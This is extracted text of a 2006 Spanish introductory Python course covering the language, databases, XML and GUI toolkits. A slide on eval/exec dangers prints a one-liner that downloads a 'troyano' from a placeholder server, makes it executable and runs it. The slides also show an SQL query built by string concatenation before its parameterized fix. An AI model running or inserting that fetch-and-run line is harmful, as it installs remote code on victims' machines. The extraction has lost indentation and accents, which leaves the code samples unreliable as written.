Professional Documents
Culture Documents
This work is licensed under the Creative Commons Attribution License. To view a copy of this license, visit
http://creativecommons.org/licenses/by/2.0/ or send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305,
Introduccin a Python
Sobre el cursillo
Cursillos de Julio
Compartir conocimiento!
Ayudar a dar los primeros pasos de una tecnologa, lenguaje de programacin etc.
Introduccin a Python
Introduccin a Python
Contenido
Introduccin a Python
Programacin modular.
Orientacin a objetos
Bases de Datos
XML
GUI
Aspectos ms avanzados de Python
Introduccin a Python
Python
Introduccin a Python
#!/usr/bin/env python
print "Hola Mundo" # "Hola Mundo"
print "hola", "mundo" # "hola mundo"
print "Hola" + "Mundo" # "HolaMundo"
Introduccin a Python
Caractersticas de Python I
Simple y poderoso
Introduccin a Python
Caractersticas de Python II
De scripting
De propsito general
Introduccin a Python
Peculiaridades sintcticas
Cdigo en C/Java
if (x) {
if (y) {
f1();
}
f2();
}
2006 Pablo Ordua, Arkaitz Ruiz
Cdigo en Python
if x:
if y:
f1()
f2()
Introduccin a Python
Introduccin a Python
Python es ideal:
Introduccin a Python
Instalar Python
Introduccin a Python
Un comando simple:
>>> print "Hola Mundo"
Hola Mundo
>>>
Introduccin a Python
Ejecutando programa
holamundo.py
#!/usr/bin/env python
print Hola mundo!"
$ python helloworld.py
Hola mundo!
$
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Sentencias y bloques
Introduccin a Python
Identificadores
Palabras reservadas:
Introduccin a Python
Tipos de datos I
Introduccin a Python
Tipos de datos II
Introduccin a Python
Introduccin a Python
Tipos de datos IV
Introduccin a Python
Tipos de datos V
Listas []
Indexadas por un entero comienzan en 0:
>>> meses = ["Enero", "Febrero"]
>>> print meses[0]
Enero
>>> meses.append("Marzo")
>>> print meses
['Enero', 'Febrero', 'Marzo']
Introduccin a Python
Tipos de datos VI
Para usar una lista como una pila, se pueden usar append y pop:
>>>
>>>
>>>
555
>>>
items.append(555)
items [-1, 4, 6, 555]
items.pop()
items [-1, 4, 6]
Introduccin a Python
Introduccin a Python
if 'altura' in mydict:
print 'Nodo encontrado'
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
E.j. (condicional.py)
q = 4
h = 5
if q < h :
print "primer test pasado"
elif q == 4:
print q tiene valor 4
else:
print "segundo test pasado"
>>> python condicional.py
primer test pasado
Introduccin a Python
Introduccin a Python
reply = 'repite'
while reply == 'repite':
print 'Hola'
reply = raw_input('Introduce "repite" para
hacerlo de nuevo: ')
Hola
Introduce "repite" para hacerlo de nuevo: repite
Hola
Introduce "repite" para hacerlo de nuevo: adis
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Funciones
Introduccin a Python
Funciones
# funcionargumentosvariablesyconclave.py
def testArgLists_1(*args, **kwargs):
print 'args:', args
print 'kwargs:', kwargs
testArgLists_1('aaa', 'bbb', arg1='ccc', arg2='ddd')
def testArgLists_2(arg0, *args, **kwargs):
print 'arg0: "%s "' % arg0
print 'args:', args
print 'kwargs:', kwargs
print '=' * 40
testArgLists_2('un primer argumento', 'aaa', 'bbb', arg1='ccc',
arg2='ddd')
Visualizara:
Introduccin a Python
Clases
Introduccin a Python
Clases
# clasepinguinos.py
class PenguinPen:
def __init__(self):
self.penguinCount = 0
def add (self, number = 1):
""" Add penguins to the pen. The default number is 1 """
self.penguinCount = self.penguinCount + number
def remove (self, number = 1):
""" Remove one or more penguin s from the pen """
self.penguinCount = self.penguinCount - number
def population (self):
""" How many penguins in the pen? """
return self.penguinCount
def __del__(self):
pass
penguinPen = PenguinPen()
penguinPen.add(5) # Tux y su familia
print penguinPen.population()
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Ms clases
# clasesherencia.py
class Basic:
def __init__(self, name):
self.name = name
def show(self):
print 'Basic -- name: %s' % self.name
class Special(Basic): # entre parntesis la clase base
def __init__(self, name, edible):
Basic.__init__(self, name) # se usa Basic para referir a
self.upper = name.upper() # clase base
self.edible = edible
def show(self):
Basic.show(self)
print 'Special -- upper name: %s.' % self.upper,
if self.edible:
print "It's edible."
else:
print "It's not edible."
def edible(self):
return self.edible
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Probando clases
obj1 = Basic('Manzana')
obj1.show()
print '=' * 30
obj2 = Special('Naranja', True)
obj2.show()
Visualizara:
Introduccin a Python
Excepciones
Introduccin a Python
Excepciones personalizadas
# excepcionpersonalizada.py
class E(RuntimeError):
def __init__(self, msg):
self.msg = msg
def getMsg(self):
return self.msg
try:
raise E('mi mensaje de error')
except E, obj:
print 'Msg:', obj.getMsg()
Visualizara:
Introduccin a Python
Mdulos
Uso de un mdulo:
>>> import modulo
>>> dir(modulo) # lista contenidos mdulo
['__builtins__', '__doc__', '__file__', '__name__',
'one', 'two']
>>> modulo.one(2)
in one
Introduccin a Python
Mdulos II
import test
Importa modulo test. Referir a x en test con
"test.x".
from test import x
Importa x de test. Referir a x en test con "x".
from test import *
Importa todos los objetos de test. Referir a x en
test con "x".
import test as theTest
Importa test; lo hace disponible como theTest.
Referir a objecto x como "theTest.x".
Introduccin a Python
Paquetes I
Introduccin a Python
Paquetes II
# module1.py
class class1:
def __init__(self):
self.description = 'class #1'
def show(self):
print self.description
# module2.py
class class2:
def __init__(self):
self.description = 'class #2'
def show(self):
print self.description
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Paquetes III
# testpackage.py
import package_example
c1 = package_example.class1()
c1.show()
c2 = package_example.class2()
c2.show()
Visualizara:
class #1
class #2
La localizacin de los paquetes debe especificarse o
bien a travs de la variable de entorno PYTHONPATH o
en cdigo del script mediante sys.path
Introduccin a Python
Manejo de ficheros
Introduccin a Python
Ms sobre print
print (printredirect.py)
Introduccin a Python
# variableglobal.py
NAME = "Manzana"
def show_global():
name = NAME
print '(show_global) nombre: %s' % name
def set_global():
global NAME
NAME = 'Naranja'
name = NAME
print '(set_global) nombre: %s' % name
sh ow_global()
set_global()
show_global()
Lo cual visualizara:
Introduccin a Python
Serializacin de objetos
Introduccin a Python
Serializacin de objetos:
Ejemplo pickle
import pickle # pickleunpickle.py
class Alumno:
def __init__(self, dni, nombre, apellido1, apellido2):
self.dni = dni
self.nombre = nombre
self.apellido1 = apellido1
self.apellido2 = apellido2
def __str__(self):
return "DNI: " + self.dni + "\n\tNombre: " + self.nombre + "\n\tApellido1: " +
self.apellido1 + "\n\tApellido2: " + self.apellido2 + "\n"
def get_dni(self):
return self.dni
def get_nombre(self):
return self.nombre
def get_apellido1(self):
return self.apellido1
def get_apellido2(self):
return self.apellido2
alum = Alumno("44567832P", "Diego", "Lz. de Ipina", "Gz. de Artaza")
print "Alumno a serializar:\n", alum
f = open("Alumno.db", 'w')
pickle.dump(alum, f)
f.close()
f = open("Alumno.db", "r")
alum2 = pickle.load(f)
f.close()
print alum2.get_dni()
print "Alumno leido:\n", alum2
Introduccin a Python
Revisar ejemplos:
picklingexample.py
unpicklingexample.py
Introduccin a Python
Serializacin de objetos
Introduccin a Python
Programacin de BD en Python
Etc.
Introduccin a Python
Diseada para:
http://www.mysql.com
Introduccin a Python
Instalacin MySQL
http://dev.mysql.com/downloads/mysql/5.0.
html
Introduccin a Python
Ejemplo programacin BD en
Python con MySQL I
Introduccin a Python
Ejemplo programacin BD en
Python con MySQL II
# db/accesodbeventosMySQL.py
import MySQLdb, time, _mysql, _mysql_exceptions
def executeSQLCommand(cursor, command):
rowSet = []
command = command.strip()
if len(command):
try:
cursor.execute(command) # Ejecuta el comando
if command.lower().startswith('select'): # si es select
lines = cursor.fetchall() # recuperar todos los resultados
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except _mysql_exceptions.ProgrammingError, e:
print e
sys.exit()
return rowSet
Introduccin a Python
Ejemplo programacin BD en
Python con MySQL III
if __name__ == '__main__':
db=MySQLdb.connect(host="localhost",user="deusto",
passwd="deusto", db="deusto")
cursor = db.cursor()
executeSQLCommand(cursor, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQL Command(cursor, "select * from eventos")
for row in rowSet:
print row
del cursor
Visualizando lo siguiente:
$ python accesodbeventosMySQL.py
[0, 'Cursillos de Julio', 'ESIDE-DEUSTO', 1, 'Cursillo Python']
[1, 'Otro evento', 'Otro lugar', 1, 'Curso ...']
Introduccin a Python
SQLite
Introduccin a Python
Ejemplo programacin BD en
Python con SQLite I
# db/accesodbeventosSQLite.py
import sqlite, time, sys
def executeSQLCommand(cursor, command):
rowSet = []
command = command.strip()
if len(command):
try:
cursor.execute(command) # Ejecuta el comando
if command.lower().startswit h('select'): # si es select
lines = cursor.fetchall() # recuperar todos los resultados
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except sqlite.ProgrammingError, e:
print e
sys.exit()
return row Set
Introduccin a Python
Ejemplo programacin BD en
Python con SQLite II
if __name__ == '__main__':
db=sqlite.connect(db="deusto") #deusto ser el nombre del fichero
cursor = db.cursor()
executeSQLCommand(cursor, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQLCommand(cursor, "select * from evento s")
for row in rowSet:
print row
del cursor
Visualizando lo siguiente:
$ python accesodbeventosSQLite.py
[0, 'Cursillos de Julio', 'ESIDE-DEUSTO', 1, 'Cursillo Python']
[1, 'Otro evento', 'Otro lugar', 1, 'Curso ...']
Introduccin a Python
Python DB API I
Pero si es lo mismo!
S:
Introduccin a Python
Python DB API II
Introduccin a Python
Utilizando DBI - I
# db/accesodbeventosDBI.py
#Una de las dos siguientes:
import sqlite as dbi
#import MySQLdb as dbi
import time, sys
def executeSQLCommand(cursor, command):
rowSet = []
command = command.strip()
if len(command):
try:
cursor.execute(command) # Ejecuta el comando
if command.lower().startswith('select'): # si es select
lines = cursor.fetchall() # recuperar todos los resultados
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except dbi.ProgrammingError, e:
print e
sys.exit()
return rowSet
Introduccin a Python
Utilizando DBI - II
if __name__ == '__main__':
db=dbi.connect(host=localhost,user=deusto,passwd=deusto,db="deusto")
cursor = db.cursor()
executeSQLCommand(cursor, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQLCommand(cursor, "select * from eventos")
for row in ro wSet:
print row
del cursor
Visualizando lo siguiente:
$ python accesodbeventosDBI.py
[0, 'Cursillos de Julio', 'ESIDE-DEUSTO', 1, 'Cursillo Python']
[1, 'Otro evento', 'Otro lugar', 1, 'Curso ...']
Introduccin a Python
Introduccin a Python
if __name__ == '__main__':
if len(sys.argv) != 2:
print >> sys.stderr, "Usage: python %s LOCALIZACION" % sys.argv[0]
sys.exit(1)
db=dbi.connect(host=localhost,user=deusto,passwd=deusto,db="deusto")
cursor = db.cursor()
executeSQLCommand(cursor, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQLCommand(cursor, "select * from EVENTOS where LOCALIZACION =
'"+sys.argv[1]+"'")
for row in rowSet:
print row
del cursor
Visualizando lo siguiente:
Introduccin a Python
Introduccin a Python
qmark
Introduccin a Python
Introduccin a Python
if __name__ == '__main__':
if len(sys.argv) != 2:
print >> sys.stderr, "Usage: python %s LOCALIZACION" % sys.argv[0]
sys.exit(1)
db=dbi.connect(host=localhost,user=deusto,passwd=deusto,db="deusto")
cursor = db.cursor()
executeSQLCommand(curs or, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQLCommand(cursor, "select * from EVENTOS where LOCALIZACION =
%s",sys.argv[1])
for row in rowSet:
print row
del cursor
Introduccin a Python
Programacin de sistemas
Introduccin a Python
Gestin de Hilos - I
import thread
def f(nombre):
print hola mundo desde otro hilo, %s % nombre
numero = thread.start_new_thread(f,('hola',)) #funcion, tupla con
argumentos
#automticamente se habr lanzado
Introduccin a Python
Gestin de Hilos - II
threading
Ms similar a Java
Incluye mejores sistemas de
sincronizacin
Introduccin a Python
l = threading.Lock()
l.acquire()
#Cuando un hilo entra en acquire(), el resto de hilos que llamen al
acquire del
#mismo lock se quedan bloqueados, hasta que alguien llame a release
l.release()
(threading/ejemplo-sincronizacion.py)
Introduccin a Python
Introduccin a Python
Instrucciones de procesamiento
(processing instructions PI)
Declaraciones de tipo de documento
Comentarios
Elementos
Referencias a entidades
Secciones CDATA
Introduccin a Python
Introduccin a Python
XML Parsing
Documento
XML
Parser XML
Aplicacin
XML
XML DTD
XML Schema
Introduccin a Python
SAX
DOM
Introduccin a Python
Introduccin a Python
Caractersticas de SAX
Introduccin a Python
SAX Objects
<?xml version=1.0?>
Parser
startDocument
<addressbook>
Parser
startElement
<name>Diego Ipia</name>
Parser
<email>dipina@deusto.es</email>
Parser
</person>
Parser
endElement
<person>
Parser
startElement
<name>Asier Perallos</name>
Parser
<email>perallos@deusto.es</email>
Parser
Parser
endElement
<person>
</person>
2006 Pablo Ordua, Arkaitz Ruiz
</addressbook>
Parser
Introduccin a Python
make_parser([parser_list])
parse(filename_or_stream, handler[,
error_handler])
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Caractersticas DOM
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Pelculas
...
Pelcula
codigo=1
titulo=Lo que el
viento se llev
diirector=Victor Fleming
Pelcula
codigo=5
diirector=Giuseppe
Tornatore
titulo=Malena
actores=Monica Bellucci,
Giuseppe Sulfaro
Introduccin a Python
http://pyxml.sourceforge.net/topics/
Introduccin a Python
Ejemplo DOM I
# xml/ejemploDOM.py
# Ejecutar: python ejemploDOM.py Cartelera.xml
#!/usr/bin/env python
import xml.dom.minidom, sys
class Pelicula:
def __init__(self, codigo, titulo, director, actores):
self.codigo = codigo
self.titulo = titulo
self.director = director
self.actores = actores
def __repr__(self):
return "Codigo: " + str(self.codigo) + " - titulo: " +
self.titulo + " - director: " + self.director + " - actores: " +
self.actores
class PeliculaDOMParser:
def __init__(self, filename):
self.dom = xml.dom.minidom.parse(filename)
self.peliculas = []
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Ejemplo DOM II
def getPeliculas(self):
if not self.peliculas:
peliculaNodes = self.dom.getElementsByTagName("Pelicula")
numPelis = len(peliculaNodes)
for i in range(numPelis):
pelicula = peliculaNodes.item(i)
# Recuperar los attributes de cada nodo Pelicula
peliAttribs = pelicula.attributes
codigo = peliAttribs.getNamedItem("codigo").nodeValue
titulo = peliAttribs.getNamedItem("titulo").nodeValue
director = peliAttribs.getNamedItem("director").nodeValue
actores = peliAttribs.getNamedItem("actores").nodeValue
self.peliculas.append(Pelicula( codigo,titulo,director,actores))
return self.peliculas
if __name__ == '__main__':
domParser = PeliculaDOMParser(sys.argv[1])
for peli in domParser.getPeliculas():
print peli
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Introduccin a Python
Dos partes:
Introduccin a Python
Introduccin a Python
Ventajas:
Desventajas:
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Resultado de transformacin
(students.html)
<HTML>
<HEAD> <TITLE>Name of students</TITLE>
</HEAD>
<BODY>
<P>Usue Artaza</P>
<P>Iigo Urrutia</P>
</BODY>
</HTML>
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
XSLT en Python
http://uche.ogbuji.net/tech/akara/nodes/2003-01-01/
python-xslt
http://xmlsoft.org/python.html (Linux)
http://users.skynet.be/sbi/libxml-python/ (Windows)
El ejemplo en la siguiente pgina ilustra el uso de
esta librera
Introduccin a Python
Ejemplo XSLT
# Instalar fichero libxml2-python-2.6.16.win32-py2.4.exe
# Ejecutar: python xsltexample.py Cartelera.xml Cartelera.xsl
transform.html
import libxml2
import libxslt
import sys
if len(sys.argv) != 4:
print 'Usage: python xsltexample <xml-file> <xslt-file>
<output-file>'
sys.exit(0)
else:
styledoc = libxml2.parseFile(sys.argv[2])
style = libxslt.parseStylesheetDoc(styledoc)
doc = libxml2.parseFile(sys.argv[1])
result = style.applyStylesheet(doc, None)
style.saveResultToFilename(sys.argv[3], result, 0)
style.freeStylesheet()
doc.freeDoc()
result.freeDoc()
2006 Pablo Ordua,
Arkaitz Ruiz
e-ghost ESIDE Universidad de Deusto
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Introduccin a Python
Programacin de GUIs I
wxPython (http://www.wxpython.org/)
Pythonwin (
http://www.python.org/windows/pythonwin/)
PyGTK (http://www.pygtk.org/)
PyQt (http://www.riverbankcomputing.co.uk/pyqt/)
Introduccin a Python
GUIs en Python - I
Tkinter
WxWidgets
PyGTK
PyQT
Pythonwin
...
Introduccin a Python
Tkinter
Fcil de programar
Introduccin a Python
Ejemplo Tkinter I
# gui/tk/tkinterwatch.py
from Tkinter import *
import time, sys
class StopWatch(Frame):
""" Implements a stop watch frame widget. """
def __init__(self, parent=None, **kw):
Frame.__init__(self, parent, kw)
self._start = 0.0
self._elapsedtime = 0.0
self._running = 0
self.timestr = StringVar()
self.makeWidgets()
def makeWidgets(self):
""" Make the time label. """
l = Label(self, textvariable=self.timestr)
self._setTime(self._elapsedtime)
l.pack(fill=X, expand=NO, pady=2, padx=2)
def _update(self):
""" Update the label with elapsed time. """
self._elapsedtime = time.time() - self._start
self._setTime(self._elapsedtime)
self._timer = self.after(50, self._update)
def _setTime(self, elap):
""" Set the time string to Minutes:Seconds:Hundreths """
minutes = int(elap/60)
seconds = int(elap - minutes*60.0)
hseconds = int((elap - minutes*60.0 - seconds)*100)
self.timestr.set('%02d:%02d:%02d' % (minutes, seconds, hseconds))
Introduccin a Python
Ejemplo Tkinter II
def Start(self):
""" Start the stopwatch, ignore if running. """
if not self._running:
self._start = time.time() - self._elapsedtime
self._update()
self._running = 1
def Stop(self):
""" Stop the stopwatch, ignore if stopped. """
if self._running:
self.after_cancel(self._timer)
self._elapsedtime = time.time() - self._start
self._setTime(self._elapsedtime)
self._running = 0
def Reset(self):
""" Reset the stopwatch. """
self._start = time.time()
self._elapsedtime = 0.0
self._setTime(self._elapsedtime)
if __name__ == '__main__': root = Tk()
sw = StopWatch(root)
sw.pack(side=TOP)
Button(root, text='Start', command=sw.Start).pack(side=LEFT)
Button(root, text='Stop', command=sw.Stop).pack(side=LEFT)
Button(root, text='Reset', command=sw.Reset).pack(side=LEFT)
Button(root, text='Quit', command=sys.exit(0)).pack(side=LEFT)
root.mainloop()
Introduccin a Python
wxPython I
Introduccin a Python
wxPython II
Introduccin a Python
wxPython III
Introduccin a Python
Ejemplo wxPython I
#!/usr/bin/env python
# gui/wxPythonSemanaESIDE.py
__author__ = "Diego Ipia <dipina@eside.deusto.es>"
import wx
class Frame(wx.Frame):
"""Clase frame que visualiza una imagen."""
def __init__(self, image, parent=None, id=-1,
pos=wx.DefaultPosition, title='Hola, semaneros
ESIDE!'):
"""Crea un Frame y visualiza imagen."""
temp = image.ConvertToBitmap()
size = temp.GetWidth(), temp.GetHeight()
wx.Frame.__init__(self, parent, id, title, pos, size)
self.bmp = wx.StaticBitmap(parent=self, id=-1, bitmap=temp)
Introduccin a Python
Ejemplo wxPython II
class App(wx.App):
"""Clase aplicacin.""
def __init__(self):
wx.App.__init__(self)
def OnInit(self):
wx.InitAllImageHandlers()
image = wx.Image('semanaeside.jpg', wx.BITMAP_TYPE_JPEG)
self.frame = Frame(image)
self.frame.Show()
self.SetTopWindow(self.frame)
return True
def main():
app = App()
app.MainLoop()
if __name__ == '__main__':
main()
Introduccin a Python
wxGlade
No siempre es necesario (o
conveniente) crear de manera
programtica las interfaces en
wxPython.
wxGlade (http://wxglade.sourceforge.net/)
Introduccin a Python
PyGTK
Introduccin a Python
Demo:
pygtk-demo.py
Introduccin a Python
Programando en PyGTK - II
El bucle de eventos
En GTK+ tendremos que:
Llamar a gtk_init
Llamar a gtk_main
Llamar a gtk_main_quit
Introduccin a Python
Pseudocdigo:
mi_callback:
gtk_main_quit()
gtk_init()
crearVentanaPrincipal()
aadirWidgetsALaVentana()
aadirCallbackAlCerrarVentana(mi_callback)
gtk_main()
Introduccin a Python
Programando en PyGTK - IV
gtk.main()
gtk.main_loop()
Introduccin a Python
Programando en PyGTK - V
#gui/gtk/gtk1.py
import gtk
def metodo(*args):
print "Entro en gtk.main_quit"
gtk.main_quit()
print "Salgo de gtk.main_quit"
win = gtk.Window()
win.connect("delete_event",metodo)
win.show()
print "Entro en gtk.main"
gtk.main()
print "Salgo de gtk.main"
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Programando en PyGTK - VI
w = gtk.Window()
w.fullscreen()
w.maximize()
w.iconify()
w.deiconify()
w.set_title(titulo)
#fullscreen
#maximiza
#minimiza
#restaura
#ttulo
Introduccin a Python
#gtk2.py
import gtk
def metodo(*args):
gtk.main_quit()
win = gtk.Window()
win.set_title("Otra ventana")
l = gtk.Label("Hola mundo")
win.add(l)
win.show_all()
win.connect("delete_event",metodo)
gtk.main()
Introduccin a Python
VBox verticalmente
HBox horizontalmente
Table para una tabla de widgets
Ver gtk3.py
Introduccin a Python
Programando en PyGTK - IX
Eventos:
Eventos comunes:
Ver gtk4.py
Introduccin a Python
Programando en PyGTK - X
Imgenes: gtk.Image
import gtk
def salir(*args):
gtk.main_quit()
w = gtk.Window()
w.connect('delete_event',salir)
img = gtk.Image()
img.set_from_file("ghost.jpg")
w.add(img)
w.show_all()
gtk.main()
Introduccin a Python
Programando en PyGTK - XI
Utilizando GDK
Ver imagenes/imagenes4.py
Introduccin a Python
Introduccin a Python
Glade - I
Cansar
Resultar dificil
Aadir cdigo innecesario al programa
Introduccin a Python
Glade - II
mi_glade.signal_autoconnect({
'hago_click':funcion_hago_click,
'salir':funcion_salir
})
Ver glade/glade1.py
Introduccin a Python
Ms sobre el lenguaje
Introduccin a Python
Documentacin en Python - I
def funcion():
#variable es un ejemplo de variable
variable=5
#aqu lo que hacemos es sumar 10 a la variable
variable += 10
Introduccin a Python
Documentacin en Python - II
def mirandom():
funcion() -> float
Devuelve un nmero aleatorio entre 0 y 1
import random
return random.random()
Introduccin a Python
help(loquesea)
pydoc mdulo
pydoc -p puerto
pydoc mdulo
pydoc -g
Ver /doc/
Introduccin a Python
Filtros
Introduccin a Python
Funciones especiales - I
Punteros a funcin
>>> puntero = f
>>> puntero()
hola mundo
>>> def f2(funcion):
...
funcion()
>>> f2(puntero)
hola mundo
Introduccin a Python
Funciones especiales - II
Punteros a mtodos
class A:
def __init__(self,nombre):
self.nombre = nombre
def f(self):
print "hola, soy",self.nombre
puntero = A.f
a = A("mi nombre")
puntero(a)
print puntero
#Si quisieramos un mtodo de A bounded a una instancia, tendramos que hacer esto:
otro_puntero = a.f
#f de la instancia, no de la clase
print otro_puntero
otro_puntero()
#Y este s es llamable
Introduccin a Python
Lambda
Introduccin a Python
Yield
for i in lista:
...
...
yield i
...
>>> for i in f(['a','b','c']):
...
print Me ha devuelto,i
...
Voy a devolver a
Me ha devuelto a
Voy a devolver b
Me ha devuelto b
Voy a devolver c
Me ha devuelto c
Ver avanz/funciones/yield.py
Introduccin a Python
Sobrecarga de operaciones - I
Introduccin a Python
Ocultamiento de informacin
>>> class A:
...
def __init__(self):
...
self.dato = 5
...
>>> a = A()
>>> print a.dato
5
Introduccin a Python
Ocultamiento de informacin
avanz/clases/ocultamiento1.py
Introduccin a Python
Ocultamiento de informacin
Introduccin a Python
Ocultamiento de informacin
Ejemplo en /avanz/clases/ocultamiento2.py
Introduccin a Python
Ocultamiento de informacin
object:
__getattribute__(self,nombre): se le llama
cuando alguien intenta acceder a cualquier
cosa, incluso si existe
__setattr(self,nombre,valor): se le llama
cuando alguien intenta modificar cualquier
cosa, incluso si existe
Ver avanz/clases/ocultamiento3.py
Introduccin a Python
Herencia mltiple
clase A{
metodo(){}
}
clase B{
metodo(){}
}
clase C hija de clases A y B{}
c = instancia de C()
c.metodo() #A quin llama?
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Herencia mltiple
En C# y Java se evita
Introduccin a Python
Herencia mltiple
Introduccin a Python
Herencia mltiple
class E(C,D)
que:
class E(D,C)
avanz/clases/herencia_multiple.py
2006 Pablo Ordua, Arkaitz Ruiz
Introduccin a Python
Recoleccin de basura
Introduccin a Python
Recoleccin de basura
>>> class A:
...
def __del__(self):
...
print Me muero!
...
>>> a = A() #a apunta a una instancia de A
>>> a = 5
Me muero!
>>> a = A() #a apunta a otra instancia de A
>>> del a
Me muero!
Introduccin a Python
Recoleccin de basura
Cuidado
avanz/gc/referencias2.py
Introduccin a Python
Recoleccin de basura
Cuidado
__del__
Introduccin a Python
Reflection en Python
Introduccin a Python
Reflection en Python
getattr(algo,nombre)
hasattr(algo,nombre)
avanz/reflection/reflection1.py
Introduccin a Python
Reflection en Python
setattr(algo,nombre,valor)
delattr(algo,nombre)
avanz/reflection/reflection2.py
Introduccin a Python
Reflection en Python
__dict__
avanz/reflection/reflection3.py
Introduccin a Python
Reflection en Python
Introduccin a Python
Avanzando en Python
locals(), globals()
avanz/avanzando/avanzando1.py
S: avanz/avanzando/avanzando2.py
Introduccin a Python
Instancias y clases
Introduccin a Python
Instancias y clases
avanz/avanzando/avanzando3.py
avanz/avanzando/avanzando4.py
Introduccin a Python
Ms propiedades dinmicas
eval
exec
avanz/avanzando/avanzando5.py
Introduccin a Python
Introduccin a Python
Problemas
Ilegibilidad
Seguridad
Introduccin a Python
Problemas
Seguridad
open('/tmp/troyano','w').write(__import__('urllib2').urlopen('http://servidor/troyano
').read()) or 1,__import__('os').chmod('/tmp/troyano',0x755) or
__import__('popen2').popen3('/tmp/troyano')[1:0] or 1
Introduccin a Python
Casos de xito
Introduccin a Python
Referencias
http://nctrun.e-ghost.net/
http://diveintopython.org
http://paginaspersonales.deusto.es/dipina/
http://vig.prenhall.com/catalog/academic/product/1,4096,0130409561,00.htm
http://www.oreilly.com/catalog/python2/
http://www.oreilly.com/catalog/jythoness/
Documentacin de Python:
http://docs.python.org